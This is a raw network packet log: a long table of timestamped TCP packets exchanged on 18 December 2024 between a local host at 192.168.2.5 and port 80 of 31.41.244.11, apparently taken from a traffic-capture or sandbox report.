Dec 18, 2024 19:08:12.328890085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.329025030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.329080105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.329824924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.329879999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.329915047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.329957962 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.330847025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.330961943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.331010103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.331799984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.331847906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.331926107 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.332236052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.332820892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.333051920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.333095074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.333867073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.333911896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.333914995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.333956957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.334794044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.334847927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.334986925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.335028887 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.335793972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.335846901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.336003065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.336045027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.336842060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.336884022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.337085962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.337130070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.337819099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.337835073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.337883949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.337929010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.478164911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.478621006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.478638887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.478739023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.478777885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.478832006 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.479609966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.479660034 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.479718924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.479763985 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.480541945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.480966091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.481026888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.481148958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.481201887 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.481867075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.481914043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.482012033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.482054949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.482898951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.482963085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.483428001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.483477116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.483911991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.483928919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.483952045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.483983040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.484962940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.485254049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.485308886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.485937119 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.486007929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.486088037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.486222029 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.486924887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.487716913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.487895966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.487914085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.487948895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.487966061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.488028049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.488198996 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.488883972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.488934994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.489777088 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.489830017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.489962101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.489979029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.490001917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.490025043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.490869045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.490926027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.491041899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.491086960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.491852045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.491909981 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.492270947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.492928028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.492979050 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.493073940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.493112087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.493887901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.493932009 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.494940996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.494957924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.494985104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.495003939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.495090008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.495874882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.495922089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.496349096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.496857882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.496906042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.496999979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.497066975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.497831106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.497879982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.498960018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.498976946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.499011993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.499033928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.499067068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.499886990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.499941111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.500037909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.500087023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.500828981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.500883102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.501035929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.501080990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.501812935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.501877069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.501934052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.501974106 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.502856016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.502904892 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.503338099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.503388882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.503820896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.504225016 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.504231930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.504276037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.504829884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.504878998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.504930019 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.504971027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.505870104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.505974054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.505985022 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.506026030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.506833076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.507042885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.507091999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.507841110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.507894039 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.507987976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.508030891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.508894920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.509155035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.509202957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.509881973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.509931087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.510030031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.510068893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.510848999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.510973930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.511022091 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.511827946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.511873960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.512110949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.512147903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.512794018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.512871981 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.513037920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.513086081 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.513807058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.513936043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.513982058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.514816999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.514864922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.515054941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.515098095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.515796900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.516030073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.516077995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.516807079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.516989946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.517036915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.517879963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.517895937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.517940044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.518765926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.519289970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.519335032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.519778967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.519826889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.519923925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.519969940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.520828962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.520879984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.521120071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.521167994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.521791935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.521840096 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.521869898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.521905899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.522780895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.522830963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.523190022 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.523236990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.523797035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.523844957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.523880959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.523926973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.524751902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.525003910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.525005102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.525105953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.526065111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.526110888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.526555061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.526777983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.526829958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.527188063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.527240038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.527801991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.527821064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.527856112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.527873039 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.528861046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.529268980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.529324055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.529731989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.529781103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.530157089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.530210972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.670253992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.670387030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.670521975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.670705080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.670773983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.670794010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.670850039 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.671633005 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.671696901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.671794891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.671858072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.672689915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.672970057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.673039913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.673161030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.673217058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.673856974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.673922062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.673968077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.674026966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.675050974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.675117970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.675169945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.675214052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.675787926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.675837040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.675920010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.675961971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.676768064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.676875114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.676918983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.677695036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.677772045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.677901030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.677943945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.678659916 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.678728104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.678746939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.680229902 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.680288076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.680335999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.681704998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.681749105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.685365915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.685383081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.685400963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.685410023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.685455084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.685513973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.685554981 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.685728073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.685769081 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.686412096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.686481953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.686583042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.686635017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.687473059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.687526941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.687647104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.687695026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.688642979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.688796043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.688846111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.689498901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.689544916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.690047026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.690063000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.690093040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.690143108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.690483093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.691344023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.691359043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.691414118 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.691445112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.692238092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693144083 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693228960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.693312883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693336964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693352938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693358898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.693368912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693387032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693391085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.693403006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693418980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693432093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.693437099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.693480968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.693517923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.693984985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.694099903 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.694171906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.695000887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.695141077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.695143938 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.695255041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.695928097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.695986986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.696134090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.696264029 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.697012901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.697061062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.697199106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.697258949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.697891951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.697963953 CET	49720	80	192.168.2.5	31.41.244.11
